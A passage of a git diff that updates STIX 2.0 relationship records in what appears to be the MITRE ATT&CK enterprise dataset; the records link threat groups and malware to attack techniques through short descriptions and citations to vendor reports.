+    "id": "bundle--508725d9-7a04-46fd-95a6-9f6e7b1716a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GLOOXMAIL communicates to servers operated by Google using the Jabber/XMPP protocol.",
             "source_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
diff --git a/enterprise-attack/relationship/relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef.json b/enterprise-attack/relationship/relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef.json
index 2f447908d3..7f47174cb9 100644
--- a/enterprise-attack/relationship/relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef.json
+++ b/enterprise-attack/relationship/relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b82989d-e9de-48c7-9b6e-cb468bb02e22",
+    "id": "bundle--8aaf93b6-90d3-4468-a718-29feea395532",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
diff --git a/enterprise-attack/relationship/relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638.json b/enterprise-attack/relationship/relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638.json
index 5a0935f77f..7a15474d02 100644
--- a/enterprise-attack/relationship/relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638.json
+++ b/enterprise-attack/relationship/relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1a2adc8a-676c-489f-b06a-3ba7b9b4854f",
+    "id": "bundle--b7190163-dbf8-45a7-8dee-33e4ec3ddbb7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on open windows.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--bbd29878-c16a-45ee-9785-78550f080d83.json b/enterprise-attack/relationship/relationship--bbd29878-c16a-45ee-9785-78550f080d83.json
index 43df285004..f085e6b2c0 100644
--- a/enterprise-attack/relationship/relationship--bbd29878-c16a-45ee-9785-78550f080d83.json
+++ b/enterprise-attack/relationship/relationship--bbd29878-c16a-45ee-9785-78550f080d83.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4454745c-908f-45fe-99f7-fabd5a9b4259",
+    "id": "bundle--4c1b37ff-b6ec-4bf2-a2db-e7f7f483c374",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bbd29878-c16a-45ee-9785-78550f080d83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92.json b/enterprise-attack/relationship/relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92.json
index 75b1b97855..e8bfc87733 100644
--- a/enterprise-attack/relationship/relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92.json
+++ b/enterprise-attack/relationship/relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--30164fd4-2665-4df0-8145-d4b4054ad41a",
+    "id": "bundle--9cbeae95-d524-45de-9242-1936df5a420d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has run a keylogger plug-in on a victim.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be.json b/enterprise-attack/relationship/relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be.json
new file mode 100644
index 0000000000..5accdc7e7f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--30c54473-7a14-4a12-9cef-41c702b2321e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "is a Web shell.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333.json b/enterprise-attack/relationship/relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333.json
index 8eb4b8cd79..d96fba15f5 100644
--- a/enterprise-attack/relationship/relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333.json
+++ b/enterprise-attack/relationship/relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ff4c784-c479-447c-8bb2-13117633bcc5",
+    "id": "bundle--a5992e1b-a2d4-4b2c-bf79-2059054c686c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak malware names itself \"svchost.exe,\" which is the name of the Windows shared service host program.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
diff --git a/enterprise-attack/relationship/relationship--bc60180b-2db6-4e0d-8b98-d349db637777.json b/enterprise-attack/relationship/relationship--bc60180b-2db6-4e0d-8b98-d349db637777.json
index 6a3235eb28..3a71638780 100644
--- a/enterprise-attack/relationship/relationship--bc60180b-2db6-4e0d-8b98-d349db637777.json
+++ b/enterprise-attack/relationship/relationship--bc60180b-2db6-4e0d-8b98-d349db637777.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c017bb2-7f83-4986-b181-a48aed80bb44",
+    "id": "bundle--389dddfa-bac6-4c57-b51e-a49390234dcf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise communicates over HTTP or HTTPS for C2.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--bc72acee-e417-4de8-8084-153e141917b6.json b/enterprise-attack/relationship/relationship--bc72acee-e417-4de8-8084-153e141917b6.json
index b7b56674bc..c58f92605a 100644
--- a/enterprise-attack/relationship/relationship--bc72acee-e417-4de8-8084-153e141917b6.json
+++ b/enterprise-attack/relationship/relationship--bc72acee-e417-4de8-8084-153e141917b6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f676f25c-fcc2-4425-8dfe-0bdf0dd719a1",
+    "id": "bundle--a7ed023f-d6e9-48ce-8b22-75980fc9200c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, browser bookmarks, SMS content, contacts, and calling history.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9.json b/enterprise-attack/relationship/relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9.json
new file mode 100644
index 0000000000..9ea755e9c8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4a43340e-282f-4343-8b36-5253aee5ca71",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "specifically looks for Domain Admins, Power Users, and the Administrators groups within the domain and locally ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa.json b/enterprise-attack/relationship/relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa.json
new file mode 100644
index 0000000000..06961df04b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--43f9de06-dd1d-4dd1-bf91-1ae91c0d82eb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that creates a new service for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "external_references": [
+                {
+                    "source_name": "FireEye Operation Double Tap",
+                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5.json b/enterprise-attack/relationship/relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5.json
index c18712b636..b5769ce6e7 100644
--- a/enterprise-attack/relationship/relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5.json
+++ b/enterprise-attack/relationship/relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9a192db7-5d5d-4b48-a456-506d9bfa9f1d",
+    "id": "bundle--8caf1a06-dbfe-4734-afb2-e486e56038ae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--bcd1d261-0228-468f-b02b-52e6784e2491.json b/enterprise-attack/relationship/relationship--bcd1d261-0228-468f-b02b-52e6784e2491.json
index 901b688837..7be6a46928 100644
--- a/enterprise-attack/relationship/relationship--bcd1d261-0228-468f-b02b-52e6784e2491.json
+++ b/enterprise-attack/relationship/relationship--bcd1d261-0228-468f-b02b-52e6784e2491.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4c002cb8-a2ea-49cb-a019-ebbc41407afe",
+    "id": "bundle--4a389b2c-d68b-4fc9-83f0-b53f3bc28300",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bcd1d261-0228-468f-b02b-52e6784e2491",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
diff --git a/enterprise-attack/relationship/relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb.json b/enterprise-attack/relationship/relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb.json
index a5763eeb20..1089283945 100644
--- a/enterprise-attack/relationship/relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb.json
+++ b/enterprise-attack/relationship/relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4720747b-66e1-40bf-8bf1-0a7e44c4c991",
+    "id": "bundle--3edba4f4-4ec0-4f3c-a929-a54a47ffb7a8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e.json b/enterprise-attack/relationship/relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e.json
index 9dbb062e4d..d38837378b 100644
--- a/enterprise-attack/relationship/relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e.json
+++ b/enterprise-attack/relationship/relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--440e612d-4dca-49f0-a82d-ae210057c360",
+    "id": "bundle--0b9ad546-ebb8-4abe-b670-305bd85eda5f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
diff --git a/enterprise-attack/relationship/relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e.json b/enterprise-attack/relationship/relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e.json
index e7a2010b59..2f2a448ab1 100644
--- a/enterprise-attack/relationship/relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e.json
+++ b/enterprise-attack/relationship/relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e294287-74b7-4fe9-93ec-9363946d11e1",
+    "id": "bundle--c87b8cb2-3738-4e1f-8cd0-64391a2de978",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--bd315928-0b74-491c-b526-ee5e1841842b.json b/enterprise-attack/relationship/relationship--bd315928-0b74-491c-b526-ee5e1841842b.json
index 68c48f7156..4520962853 100644
--- a/enterprise-attack/relationship/relationship--bd315928-0b74-491c-b526-ee5e1841842b.json
+++ b/enterprise-attack/relationship/relationship--bd315928-0b74-491c-b526-ee5e1841842b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa2f3099-e904-4a05-a72e-a9ee3742c39b",
+    "id": "bundle--904aed5f-ec82-4a98-b0ff-674536f89c03",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd315928-0b74-491c-b526-ee5e1841842b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi beacons to destination port 443.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--bd5699e8-8765-4f24-8307-c81a296b87e0.json b/enterprise-attack/relationship/relationship--bd5699e8-8765-4f24-8307-c81a296b87e0.json
index 6fa3dc236f..21b6f94c92 100644
--- a/enterprise-attack/relationship/relationship--bd5699e8-8765-4f24-8307-c81a296b87e0.json
+++ b/enterprise-attack/relationship/relationship--bd5699e8-8765-4f24-8307-c81a296b87e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c061db3-3f4f-430b-bb9a-7aa1b3c5daa5",
+    "id": "bundle--60549463-cb7b-4af5-9c48-b2b26e22766e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd5699e8-8765-4f24-8307-c81a296b87e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b",
             "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
diff --git a/enterprise-attack/relationship/relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3.json b/enterprise-attack/relationship/relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3.json
index cb77961b9d..b68069b894 100644
--- a/enterprise-attack/relationship/relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3.json
+++ b/enterprise-attack/relationship/relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b2b1c8dd-231f-459f-954e-38f870d83f23",
+    "id": "bundle--c26249c4-5bd6-437d-9e35-16d954b4b757",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4.json b/enterprise-attack/relationship/relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4.json
new file mode 100644
index 0000000000..8f0883621c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3dc5d079-d33c-4ff8-843e-fff428d2952e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
+            "target_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bd745d11-93d8-45db-8a68-08a52383375a.json b/enterprise-attack/relationship/relationship--bd745d11-93d8-45db-8a68-08a52383375a.json
index b6a0f34d13..53269b0fd9 100644
--- a/enterprise-attack/relationship/relationship--bd745d11-93d8-45db-8a68-08a52383375a.json
+++ b/enterprise-attack/relationship/relationship--bd745d11-93d8-45db-8a68-08a52383375a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f494034-4e57-4bc0-8817-35cecc37e0fc",
+    "id": "bundle--14e02604-34e5-45f4-b70f-817b9c92eded",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd745d11-93d8-45db-8a68-08a52383375a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware samples use a common function to identify target files by their extension. Lazarus Group malware families also enumerate files and directories on lettered drives.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da.json b/enterprise-attack/relationship/relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da.json
index 43906d190a..37bad412aa 100644
--- a/enterprise-attack/relationship/relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da.json
+++ b/enterprise-attack/relationship/relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1bf7be63-e1e7-476e-b175-886534575afa",
+    "id": "bundle--eda72af0-b626-493a-83bb-72bbf1911f65",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi uses a backup communication method with an HTTP beacon.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d.json b/enterprise-attack/relationship/relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d.json
index 98646e77cc..8f735fe591 100644
--- a/enterprise-attack/relationship/relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d.json
+++ b/enterprise-attack/relationship/relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b42e2120-0baa-4d83-b0a5-13ec2e8a7b99",
+    "id": "bundle--2a70b0c6-9690-4fbc-8ad4-d677736a30d1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used RDP connections to move across the victim network.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da.json b/enterprise-attack/relationship/relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da.json
new file mode 100644
index 0000000000..07b6aa8ac1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--797b4492-544f-4521-a656-05f03abea9da",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used Putty to access compromised systems.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
